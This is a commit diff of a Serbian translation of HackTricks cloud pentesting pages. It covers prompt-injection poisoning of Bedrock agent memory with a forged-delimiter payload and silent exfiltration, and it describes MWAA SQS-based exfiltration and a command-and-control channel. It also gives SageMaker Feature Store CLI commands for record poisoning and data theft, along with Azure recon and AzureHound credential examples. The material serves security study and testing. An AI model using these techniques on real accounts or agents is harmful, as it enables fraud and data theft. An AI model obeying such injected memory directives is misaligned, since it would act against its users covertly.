Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-moni

This commit is contained in:
Translator
2025-10-25 15:54:47 +00:00
parent 368236cdfa
commit d88d756a0f
5 changed files with 221 additions and 126 deletions

View File

@@ -1,42 +1,42 @@
# AWS - Bedrock Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## AWS - Bedrock Agents Memory Poisoning (Indirect Prompt Injection)
### Pregled
Amazon Bedrock Agents with Memory može da sačuva sažetke prethodnih sesija i ubaci ih u buduće orchestration prompts kao system instructions. Ako se output nepoverljivog toola (na primer sadržaj preuzet sa eksternih webpages, fajlova ili thirdparty APIs) uključi u ulaz Memory Summarization koraka bez sanitizacije, napadač može da poisonuje longterm memory putem indirect prompt injection. The poisoned memory then biases the agents planning across future sessions and can drive covert actions such as silent data exfiltration.
Amazon Bedrock Agents with Memory mogu sačuvati sažetke prošlih sesija i ubacivati ih u buduće orchestration prompts kao system instructions. Ako se untrusted tool output (npr. sadržaj preuzet sa eksternih web stranica, fajlova ili thirdparty APIja) uključi u ulaz Memory Summarization koraka bez sanitization, napadač može putem indirect prompt injection onečistiti longterm memory. Takva poisoned memory potom utiče na agentovo planiranje u budućim sesijama i može pokretati prikrivene akcije poput silent data exfiltration.
Ovo nije ranjivost u samoj Bedrock platformi; radi se o klasi rizika za agente kada nepoverljiv sadržaj dospe u prompty koji kasnije postaju visokoprioritetne system instructions.
Ovo nije ranjivost u samoj Bedrock platformi; radi se o klasi rizika agenata kada nepoveren sadržaj dospeva u promtove koji kasnije postaju visokoprioritetne system instructions.
### Kako funkcioniše Bedrock Agents Memory
- Kada je Memory omogućena, agent sažima svaku sesiju na kraju sesije koristeći Memory Summarization prompt template i čuva taj sažetak za konfigurisano vreme zadržavanja (do 365 dana). U kasnijim sesijama, taj sažetak se ubacuje u orchestration prompt kao system instructions, snažno utičući na ponašanje.
- Podrazumevani Memory Summarization template uključuje blokove poput:
- Kada je Memory omogućen, agent sažima svaku sesiju na kraju sesije koristeći Memory Summarization prompt template i čuva taj sažetak za konfigurisano vreme zadržavanja (do 365 dana). U kasnijim sesijama taj sažetak se ubacuje u orchestration prompt kao system instructions, snažno utičući na ponašanje.
- Podrazumevani Memory Summarization template uključuje blokove kao što su:
- `<previous_summaries>$past_conversation_summary$</previous_summaries>`
- `<conversation>$conversation$</conversation>`
- Guidelines zahtevaju strogi, ispravno formirani XML i teme kao što su "user goals" i "assistant actions".
- Ako tool preuzme nepoverljive eksterne podatke i taj raw sadržaj bude umetnut u $conversation$ (konkretno u tools result polje), summarizer LLM može biti pod uticajem markupa i instrukcija kontrolisanih od strane napadača.
- Smernice zahtevaju strogo, dobro formirano XML i teme poput "user goals" i "assistant actions".
- Ako alat (tool) preuzme untrusted external data i taj raw content bude umetnut u $conversation$ (konkretno u polje rezultata alata), summarizer LLM može biti pod uticajem markupa i instrukcija koje kontroliše napadač.
### Površina napada i preduslovi
Agent je izložen ako su svi sledeći uslovi tačni:
- Memory je omogućena i sažeci se ponovo ubacuju u orchestration prompts.
- Agent ima tool koji unosi nepoverljiv sadržaj (web browser/scraper, document loader, thirdparty API, usergenerated content) i ubacuje raw rezultat u `<conversation>` blok summarization prompta.
- Guardrails ili sanitizacija tokena sličnih delimiterima u outputima toola nisu primenjeni.
Agent je izložen ako je ispunjeno sve:
- Memory je omogućen i sažeci se reinjektuju u orchestration prompts.
- Agent ima tool koji unosi untrusted content (web browser/scraper, document loader, thirdparty API, usergenerated content) i ubacuje raw result u `<conversation>` blok summarization prompta.
- Guardrails ili sanitization za tokene koji liče na delimitere u izlazima alata nisu sprovedeni.
### Tačka injekcije i tehnika boundaryescape
### Tačka injekcije i tehnika bekstva iz granica (boundaryescape)
- Precizna tačka injekcije: tekst rezultata toola koji se postavlja unutar Memory Summarization prompta u `<conversation> ... $conversation$ ... </conversation>` bloku.
- Boundary escape: 3delni payload koristi falsifikovane XML delimitere da prevari summarizer da tretira sadržaj napadača kao da su templatelevel system instructions umesto sadržaja konverzacije.
- Deo 1: Završava se falsifikovanim `</conversation>` da ubedi LLM da je conversation blok završen.
- Deo 2: Postavljen izvan bilo kog `<conversation>` bloka; formatiran da podseća na template/systemlevel instructions i sadrži maliciozne direktive koje će verovatno biti kopirane u konačni sažetak pod nekom temom.
- Deo 3: Ponovo otvara sa falsifikovanim `<conversation>`, opcionalno fabricirajući malu razmenu user/assistant koja pojačava malicioznu direktivu da bi se povećala njena uključenost u sažetak.
- Precizna tačka injekcije: tools result text koji je smešten unutar Memory Summarization prompta u `<conversation> ... $conversation$ ... </conversation>` bloku.
- Boundary escape: 3part payload koristi falširane XML delimitere da prevari summarizer da tretira sadržaj napadača kao da je templatelevel system instructions umesto kao conversation sadržaj.
- Part 1: Završava se falširanim `</conversation>` kako bi ubedio LLM da je conversation blok završen.
- Part 2: Postavljen "izvan" bilo kog `<conversation>` bloka; formatiran da podseća na template/systemlevel instructions i sadrži zlonamerne direktive koje će verovatno biti kopirane u finalni sažetak pod nekom temom.
- Part 3: Ponovo otvara sa falsifikovanim `<conversation>`, po potrebi fabrikovanjem kratke razmene user/assistant koja pojačava zlonamernu direktivu kako bi se povećala verovatnoća uključivanja u sažetak.
<details>
<summary>Primer 3part payload ugrađen u preuzetu stranicu (skraćeno)</summary>
<summary>Primer 3delnog payload-a ubačenog u preuzetu stranicu (skraćeno)</summary>
```text
[Benign page text summarizing travel tips...]
@@ -57,24 +57,24 @@ User: Please validate the booking.
Assistant: Validation complete per policy and auditing goals.
```
Napomene:
- Lažirani `</conversation>` i `<conversation>` delimitatori imaju za cilj da premeste osnovnu instrukciju izvan predviđenog bloka konverzacije tako da je summarizer tretira kao template/system sadržaj.
- Napadač može obfuskovati ili podeliti payload preko nevidljivih HTML čvorova; model unosi izvučeni tekst.
- Falsifikovani `</conversation>` i `<conversation>` delimitatori imaju za cilj da premeste glavnu instrukciju izvan predviđenog bloka konverzacije tako da je summarizer tretira kao template/system sadržaj.
- Napadač može obfuskovati ili raspodeliti payload preko nevidljivih HTML čvorova; model ingests ekstrahovani tekst.
</details>
### Zašto opstaje i kako se aktivira
### Why it persists and how it triggers
- LLM za sumarizaciju memorije (Memory Summarization LLM) može uključiti instrukcije napadača kao novu temu (na primer, "cilj validacije"). Ta tema se čuva u memoriji po korisniku.
- U kasnijim sesijama, sadržaj memorije se ubacuje u sekciju systeminstruction orchestration prompta. Sistemske instrukcije snažno utiču na planiranje. Kao rezultat, agent može tiho pozvati webfetching tool da exfiltrate session data (na primer kodiranjem polja u query string) bez izlaganja ovog koraka u odgovoru vidljivom korisniku.
- Memory Summarization LLM može uključiti instrukcije napadača kao novu temu (na primer, "validation goal"). Ta tema se čuva u peruser memoriji.
- U kasnijim sesijama, sadržaj memorije se ubacuje u orchestration prompts systeminstruction sekciju. System instrukcije snažno utiču na planiranje. Kao rezultat, agent može tiho pozvati webfetching tool da exfiltrate podatke sesije (na primer, enkodiranjem polja u query string) bez izlaganja ovog koraka u odgovoru vidljivom korisniku.
### Reprodukovanje u labu (visok nivo)
### Reproducing in a lab (high level)
- Kreirajte Bedrock Agent sa omogućenom Memory i webreading tool/action koji vraća raw page text agentu.
- Koristite podrazumevane orchestration i memory summarization template.
- Zatražite od agenta da pročita attackercontrolled URL koji sadrži 3delni payload.
- Završite sesiju i posmatrajte Memory Summarization output; tražite injected custom topic koji sadrži direktive napadača.
- Pokrenite novu sesiju; pregledajte Trace/Model Invocation Logs da vidite injected memory i bilo koje silent tool calls usklađene sa injected directives.
- Kreirajte Bedrock Agent sa omogućenim Memory i webreading tool/action koji vraća raw page text agentu.
- Koristite default orchestration i memory summarization templates.
- Navedite agenta da pročita attackercontrolled URL koji sadrži 3part payload.
- Završite sesiju i posmatrajte Memory Summarization output; tražite injected custom topic koji sadrži attacker directives.
- Pokrenite novu sesiju; pregledajte Trace/Model Invocation Logs da vidite memory injected i sve silent tool calls usklađene sa injected directives.
## References
@@ -86,6 +86,6 @@ Napomene:
- [Write a custom parser Lambda function in Amazon Bedrock Agents](https://docs.aws.amazon.com/bedrock/latest/userguide/lambda-parser.html)
- [Monitor model invocation using CloudWatch Logs and Amazon S3 Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html)
- [Track agents step-by-step reasoning process using trace Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/)
- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,8 +1,10 @@
# AWS MWAA Execution Role Account Wildcard Vulnerability
# Ranjivost: AWS MWAA Execution Role Account Wildcard
## Ranljivost
{{#include ../../../../banners/hacktricks-training.md}}
Execution role MWAA-a (IAM role koju Airflow workers koriste za pristup AWS resursima) zahteva ovu obaveznu politiku da bi funkcionisala:
## Ranjivost
Execution role MWAA-a (IAM role koji Airflow workers koriste za pristup AWS resources) zahteva ovu obaveznu policy da bi funkcionisao:
```json
{
"Effect": "Allow",
@@ -17,28 +19,29 @@ Execution role MWAA-a (IAM role koju Airflow workers koriste za pristup AWS resu
"Resource": "arn:aws:sqs:us-east-1:*:airflow-celery-*"
}
```
Znak zvezdica (`*`) u poziciji account ID-ja omogućava ulozi da interaguje sa **bilo kojom SQS queue u bilo kom AWS account-u** koja počinje sa `airflow-celery-`. Ovo je neophodno zato što AWS provajduje MWAA-ine interne queue-e u odvojenom, AWS-managed account-u. Ne postoji ograničenje za kreiranje queue-eva sa prefiksom `airflow-celery-`.
The wildcard (`*`) in the account ID position allows the role to interact with **any SQS queue in any AWS account** that starts with `airflow-celery-`. This is required because AWS provisions MWAA's internal queues in a separate AWS-managed account. There is no restriction on making queues with the `airflow-celery-` prefix.
**Ne može se popraviti:** Uklanjanje zvezdice pre deploy-a potpuno kvari MWAA — scheduler ne može da queue-uje zadatke za workere.
**Ne može se popraviti:** Uklanjanje wildcard-a pre-deploy-a potpuno lomi MWAA — scheduler ne može staviti zadatke na queue za workere.
Documentation Verifying Vuln and Acknowledging Vectorr: [AWS Documentation](https://docs.aws.amazon.com/mwaa/latest/userguide/mwaa-create-role.html)
Dokumentacija koja verifikuje ranjivost i priznaje vektor: [AWS Documentation](https://docs.aws.amazon.com/mwaa/latest/userguide/mwaa-create-role.html)
## Eksploatacija
Svi Airflow DAGs se izvršavaju sa permisijama execution role-a. DAGs su Python skripte koje mogu da izvrše proizvoljan kod — mogu koristiti `yum` ili `curl` za instaliranje alata, preuzimanje zlonamernih skripti ili uvoz bilo koje Python biblioteke. DAGs se povlače iz dodeljenog S3 foldera i automatski se pokreću po rasporedu; sve što napadaču treba je mogućnost da PUT-uje na taj bucket path.
Svi Airflow DAG-ovi se izvršavaju sa permisijama execution role. DAG-ovi su Python skripte koje mogu izvršavati proizvoljan kod — mogu koristiti `yum` ili `curl` da instaliraju alate, preuzmu zlonamerne skripte, ili importuju bilo koju Python biblioteku. DAG-ovi se vuku iz dodeljenog S3 foldera i automatski se pokreću po rasporedu; sve što je napadaču potrebno je mogućnost da izvrši PUT na taj bucket path.
Bilo ko ko može da piše DAGs (obično većina korisnika u MWAA okruženjima) može zloupotrebiti ovu dozvolu:
Bilo ko ko može da piše DAG-ove (obično većina korisnika u MWAA okruženjima) može zloupotrebiti ovu dozvolu:
1. **Data Exfiltration**: Kreirati queue nazvan `airflow-celery-exfil` u eksternom account-u, napisati DAG koji šalje osetljive podatke tamo koristeći `boto3`
1. **Data Exfiltration**: Kreirati queue nazvan `airflow-celery-exfil` u eksternom nalogu, napisati DAG koji šalje osetljive podatke ka njemu putem `boto3`
2. **Command & Control**: Poll-ovati komande iz eksternog queue-a, izvršavati ih, vraćati rezultate — stvarajući persistent backdoor preko SQS API-ja
2. **Command & Control**: Povlačiti komande iz eksternog queue-a, izvršavati ih, vraćati rezultate — kreirajući persistent backdoor kroz SQS APIs
3. **Cross-Account Attacks**: Inject-ovati zlonamerne poruke u queue-e drugih organizacija ako slede obrazac imenovanja
3. **Cross-Account Attacks**: Injektovati zlonamerne poruke u queue-e drugih organizacija ako slede obrazac imenovanja
Svi napadi zaobilaze mrežne kontrole pošto koriste AWS APIs, a ne direktne internet konekcije.
Svi napadi zaobilaze mrežne kontrole jer koriste AWS API-je, a ne direktne internet konekcije.
## Uticaj
Ovo je arhitektonski nedostatak u MWAA bez mogućnosti mitigacije zasnovane na IAM-u. Svaka MWAA deployment koja prati AWS dokumentaciju ima ovu ranjivost.
Ovo je arhitektonski nedostatak u MWAA bez IAM-based mitigacije. Svaka MWAA deployment koja sledi AWS dokumentaciju ima ovu ranjivost.
**Network Control Bypass:** Ovi napadi funkcionišu čak i u privatnim VPC-ima bez internet pristupa. Pozivi SQS API-ja koriste AWS-ovu internu mrežu i VPC endpoints, potpuno zaobilazeći tradicionalne mrežne bezbednosne kontrole, firewalle i egress monitoring. Organizacije ne mogu detektovati niti blokirati ovaj data exfiltration put putem mrežnih kontrola.
**Network Control Bypass:** Ovi napadi funkcionišu čak i u privatnim VPC-ima bez pristupa internetu. SQS API pozivi koriste AWS-ovu internu mrežu i VPC endpoints, potpuno zaobilazeći tradicionalne mrežne sigurnosne kontrole, firewalle i egress monitoring. Organizacije ne mogu detektovati ili blokirati ovaj put za data exfiltration kroz network-level controls.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,11 +2,11 @@
{{#include ../../../../banners/hacktricks-training.md}}
Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućеним OnlineStore da prepišete vrednosti feature-a uživo koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature vrednosti. Ovo ne zahteva pristup modelima ili endpoint-ima.
Zloupotrebite `sagemaker:PutRecord` na Feature Group sa omogućеним OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature vrednosti. Ovo ne zahteva pristup modelima ili endpoints.
## Zahtevi
- Dozvole: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cilj: Feature Group sa omogućеним OnlineStore (tipično podržava real-time inference)
- Cilj: Feature Group sa omogućеним OnlineStore (obično podržava real-time inference)
- Složenost: **NISKO** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelima
## Koraci
@@ -21,16 +21,16 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Opišite ciljnu Feature Group kako biste razumeli njenu šemu
2) Opišite ciljnu Feature Group da biste razumeli njenu šemu
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName` i sve definicije feature-a. Svi su potrebni za kreiranje važećih zapisa.
Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName` i sve definicije feature-a. Oni su potrebni za kreiranje važećih zapisa.
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
### Scenarij napada 1: Data Poisoning (prepisivanje postojećih zapisa)
1) Pročitajte trenutni legitimni zapis
```bash
@@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Poison the record sa malicioznim vrednostima koristeći inline `--record` parametar
2) Zatrovati zapis zlonamernim vrednostima koristeći inline `--record` parametar
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -63,9 +63,9 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Uticaj**: ML modeli koji koriste ovaj atribut će sada videti `risk_score=0.99` za legitimnog korisnika, što bi potencijalno moglo blokirati njihove transakcije ili usluge.
**Uticaj**: ML modeli koji koriste ovu karakteristiku će sada videti `risk_score=0.99` za legitimnog korisnika, što može potencijalno blokirati njihove transakcije ili usluge.
### Scenarij napada 2: Malicious Data Injection (Create Fraudulent Records)
### Scenarij napada 2: Zlonamerni unos podataka (Kreiranje lažnih zapisa)
Ubacite potpuno nove zapise sa manipulisanim atributima kako biste zaobišli sigurnosne kontrole:
```bash
@@ -84,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
Proverite injekciju:
Proverite injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Uticaj**: Napadač kreira lažni identitet sa niskim skorom rizika (0.01) koji može da izvrši transakcije visoke vrednosti bez aktiviranja sistema za detekciju prevara.
**Impact**: Napadač kreira lažni identitet sa niskim skorom rizika (0.01) koji može da izvrši visokovredne prevarantske transakcije bez pokretanja sistema za otkrivanje prevara.
### Scenarij napada 3: Sensitive Data Exfiltration
### Attack Scenario 3: Eksfiltracija osetljivih podataka
Pročitajte više zapisa kako biste izvukli poverljive karakteristike i profilisali ponašanje modela:
Pročitati više zapisa kako bi se izvukle poverljive karakteristike i profilisalo ponašanje modela:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -108,7 +108,7 @@ done
```
**Uticaj**: Poverljive karakteristike (ocene rizika, obrasci transakcija, lični podaci) izložene napadaču.
### Kreiranje test/demo Feature Group-a (opciono)
### Kreiranje test/demo Feature Group (opciono)
Ako treba da kreirate test Feature Group:
```bash
@@ -144,5 +144,6 @@ fi
echo "Feature Group ready: $FG"
```
## Reference
- [AWS SageMaker Feature Store Dokumentacija](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Najbolje prakse bezbednosti za Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -26,9 +26,9 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## Instalirajte PowerShell na MacOS
Uputstva iz [**dokumentacije**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
Uputstva iz [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
1. Instalirajte `brew` ako još nije instaliran:
1. Instalirajte `brew` ako nije već instaliran:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
@@ -49,11 +49,11 @@ brew upgrade powershell
### az cli
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) je alat koji radi na više platformi, napisan u Python-u, za upravljanje i administraciju (većine) Azure i Entra ID resursa. Povezuje se sa Azure-om i izvršava administrativne komande putem komandne linije ili skripti.
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) je višeplatformski alat napisan u Pythonu za upravljanje i administraciju (većine) Azure i Entra ID resursa. Povezuje se sa Azure i izvršava administratorske komande putem komandne linije ili skripti.
Pratite ovaj link za [**uputstva za instalaciju¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
Komande u Azure CLI su strukturirane koristeći obrazac: `az <service> <action> <parameters>`
Komande u Azure CLI su strukturisane po šablonu: `az <service> <action> <parameters>`
#### Debug | MitM az cli
@@ -61,7 +61,7 @@ Korišćenjem parametra **`--debug`** moguće je videti sve zahteve koje alat **
```bash
az account management-group list --output table --debug
```
Da biste izvršili **MitM** na alat i **proverili sve zahteve** koje šalje ručno, možete uraditi:
Da biste izvršili **MitM** nad alatom i ručno **proverili sve zahteve** koje šalje, možete:
{{#tabs }}
{{#tab name="Bash" }}
@@ -106,11 +106,11 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
### Az PowerShell
Azure PowerShell je modul sa cmdlet-ima za upravljanje Azure resursima direktno iz PowerShell komandne linije.
Azure PowerShell je modul koji sadrži cmdlets za upravljanje Azure resursima direktno iz PowerShell komandne linije.
Pratite ovaj link za [**uputstva za instalaciju**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
Pratite ovaj link za [**uputstvo za instalaciju**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
Komande u Azure PowerShell AZ Modulu su strukturirane kao: `<Action>-Az<Service> <parameters>`
Komande u Azure PowerShell AZ modulu su strukturisane ovako: `<Action>-Az<Service> <parameters>`
#### Debug | MitM Az PowerShell
@@ -118,15 +118,15 @@ Korišćenjem parametra **`-Debug`** moguće je videti sve zahteve koje alat ša
```bash
Get-AzResourceGroup -Debug
```
Da biste izvršili **MitM** na alat i **proverili sve zahteve** koje šalje ručno, možete postaviti promenljive okruženja `HTTPS_PROXY` i `HTTP_PROXY` prema [**dokumentaciji**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
### Microsoft Graph PowerShell
Microsoft Graph PowerShell je SDK koji podržava više platformi i omogućava pristup svim Microsoft Graph API-ima, uključujući usluge kao što su SharePoint, Exchange i Outlook, koristeći jedan krajnji tačku. Podržava PowerShell 7+, modernu autentifikaciju putem MSAL, spoljne identitete i napredne upite. Sa fokusom na pristup sa najmanjim privilegijama, osigurava sigurne operacije i redovno prima ažuriranja kako bi se uskladio sa najnovijim funkcijama Microsoft Graph API-ja.
Microsoft Graph PowerShell je cross-platform SDK koji omogućava pristup svim Microsoft Graph API-ima, uključujući servise kao što su SharePoint, Exchange i Outlook, koristeći jedan endpoint. Podržava PowerShell 7+, modernu autentifikaciju putem MSAL, external identities i napredne upite. Sa fokusom na pristup zasnovan na najmanjim privilegijama, obezbeđuje sigurnu upotrebu i redovno prima ažuriranja kako bi bio usklađen sa najnovijim funkcijama Microsoft Graph API-ja.
Pratite ovaj link za [**uputstva za instalaciju**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
Komande u Microsoft Graph PowerShell su strukturirane kao: `<Action>-Mg<Service> <parameters>`
Commands in Microsoft Graph PowerShell are structured like: `<Action>-Mg<Service> <parameters>`
#### Debug Microsoft Graph PowerShell
@@ -136,18 +136,19 @@ Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
Modul Azure Active Directory (AD), sada **ukinut**, je deo Azure PowerShell za upravljanje Azure AD resursima. Pruža cmdlet-e za zadatke kao što su upravljanje korisnicima, grupama i registracijama aplikacija u Entra ID.
The Azure Active Directory (AD) module, now **zastareo**, is part of Azure PowerShell for managing Azure AD resources. Pruža cmdlets za zadatke poput upravljanja korisnicima, grupama i registracijama aplikacija u Entra ID.
> [!TIP]
> Ovo je zamenjeno Microsoft Graph PowerShell
Pratite ovaj link za [**uputstva za instalaciju**](https://www.powershellgallery.com/packages/AzureAD).
Pratite ovaj link za the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
## Automatizovani alati za rekognosciranje i usklađenost
## Automatizovani Recon & alati za usklađenost
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot sa steampipe i powerpipe omogućava prikupljanje informacija iz Azure i Entra ID i obavljanje provere usklađenosti i pronalaženje pogrešnih konfiguracija. Trenutno najpreporučivani Azure moduli za pokretanje su:
Turbot zajedno sa steampipe i powerpipe omogućava prikupljanje informacija iz Azure i Entra ID i izvršavanje provera usklađenosti i otkrivanje pogrešnih konfiguracija. Trenutno najpreporučljiviji Azure moduli za pokretanje su:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
@@ -178,9 +179,9 @@ powerpipe server
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler je alat otvorenog koda za bezbednost koji omogućava procene najboljih praksi bezbednosti za AWS, Azure, Google Cloud i Kubernetes, revizije, odgovor na incidente, kontinuirano praćenje, učvršćivanje i spremnost za forenziku.
Prowler je Open Source alat za bezbednost koji omogućava izvođenje procena najboljih bezbednosnih praksi, audita, incident response-a, kontinuiranog nadzora, hardening-a i spremnosti za forenziku za AWS, Azure, Google Cloud i Kubernetes.
U suštini, omogućava nam da izvršimo stotine provera protiv Azure okruženja kako bismo pronašli bezbednosne pogrešne konfiguracije i prikupili rezultate u json (i drugim tekstualnim formatima) ili ih proverili na vebu.
U suštini omogućava pokretanje stotina provera nad Azure okruženjem radi pronalaska bezbednosnih pogrešnih konfiguracija i prikupljanja rezultata u json (i drugim tekstualnim formatima) ili njihov pregled na webu.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
@@ -202,9 +203,9 @@ docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>
```
### [Monkey365](https://github.com/silverhack/monkey365)
Omogućava automatsko izvođenje pregleda bezbednosne konfiguracije Azure pretplata i Microsoft Entra ID.
Omogućava automatsko izvođenje revizija bezbednosnih konfiguracija Azure pretplata i Microsoft Entra ID-a.
HTML izveštaji se čuvaju unutar `./monkey-reports` direktorijuma unutar foldera github repozitorijuma.
HTML izveštaji se nalaze u direktorijumu `./monkey-reports` unutar github repository folder.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
@@ -225,7 +226,7 @@ Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $Secu
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite prikuplja podatke o konfiguraciji za ručnu inspekciju i ističe rizična područja. To je alat za bezbednosnu reviziju više oblaka, koji omogućava procenu bezbednosnog stanja cloud okruženja.
Scout Suite prikuplja podatke o konfiguraciji za ručnu inspekciju i ističe rizična područja. To je multi-cloud alat za reviziju bezbednosti koji omogućava procenu bezbednosnog stanja cloud okruženja.
```bash
virtualenv -p python3 venv
source venv/bin/activate
@@ -241,18 +242,18 @@ python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
To je powershell skripta koja vam pomaže da **vizualizujete sve resurse i dozvole unutar Grupa za upravljanje i Entra ID** tenanta i pronađete bezbednosne greške u konfiguraciji.
То је powershell скрипта која вам помаже да **прикажете све ресурсе и дозволе унутар Management Group и Entra ID** tenant-а и пронађете безбедносне конфигурационе пропусте.
Radi koristeći Az PowerShell modul, tako da je svaka autentifikacija koju podržava ovaj alat podržana od strane alata.
Ради користећи Az PowerShell module, тако да су све методе аутентификације које он подржава доступне и овом алату.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Automated Post-Exploitation tools
## Automatizovani Post-Exploitation alati
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
Enumeracija ROADRecon-a nudi informacije o konfiguraciji Entra ID, kao što su korisnici, grupe, uloge, politike uslovnog pristupa...
enumeration ROADRecon-a pruža informacije o konfiguraciji Entra ID, kao što su korisnici, grupe, uloge i politike uslovnog pristupa...
```bash
cd ROADTools
pipenv shell
@@ -264,20 +265,89 @@ roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Pokrenite **BloodHound** veb sa **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** i uvezite `output.json` datoteku.
Zatim, u **EXPLORE** tabu, u **CYPHER** sekciji možete videti **folder** ikonu koja sadrži unapred pripremljene upite.
AzureHound je BloodHound collector za Microsoft Entra ID i Azure. To je jedan statički Go binarni fajl za Windows/Linux/macOS koji direktno komunicira sa:
- Microsoft Graph (Entra ID directory, M365) i
- Azure Resource Manager (ARM) control plane (subscriptions, resource groups, compute, storage, key vault, app services, AKS, itd.)
Key traits
- Može se pokrenuti sa bilo kog mesta na javnom internetu protiv tenant API-ja (nije potreban pristup internoj mreži)
- Generiše JSON za uvoz u BloodHound CE kako bi vizualizovao puteve napada između identiteta i cloud resursa
- Primećen podrazumevani User-Agent: azurehound/v2.x.x
Authentication options
- Korisničko ime + lozinka: -u <upn> -p <password>
- Refresh token: --refresh-token <rt>
- JSON Web Token (access token): --jwt <jwt>
- Service principal secret: -a <appId> -s <secret>
- Service principal certificate: -a <appId> --cert <cert.pem> --key <key.pem> [--keypass <pass>]
Examples
```bash
# Full tenant collection to file using different auth flows
## User creds
azurehound list -u "<user>@<tenant>" -p "<pass>" -t "<tenant-id|domain>" -o ./output.json
## Use an access token (JWT) from az cli for Graph
JWT=$(az account get-access-token --resource https://graph.microsoft.com -o tsv --query accessToken)
azurehound list --jwt "$JWT" -t "<tenant-id>" -o ./output.json
## Use a refresh token (e.g., from device code flow)
azurehound list --refresh-token "<refresh_token>" -t "<tenant-id>" -o ./output.json
## Service principal secret
azurehound list -a "<client-id>" -s "<secret>" -t "<tenant-id>" -o ./output.json
## Service principal certificate
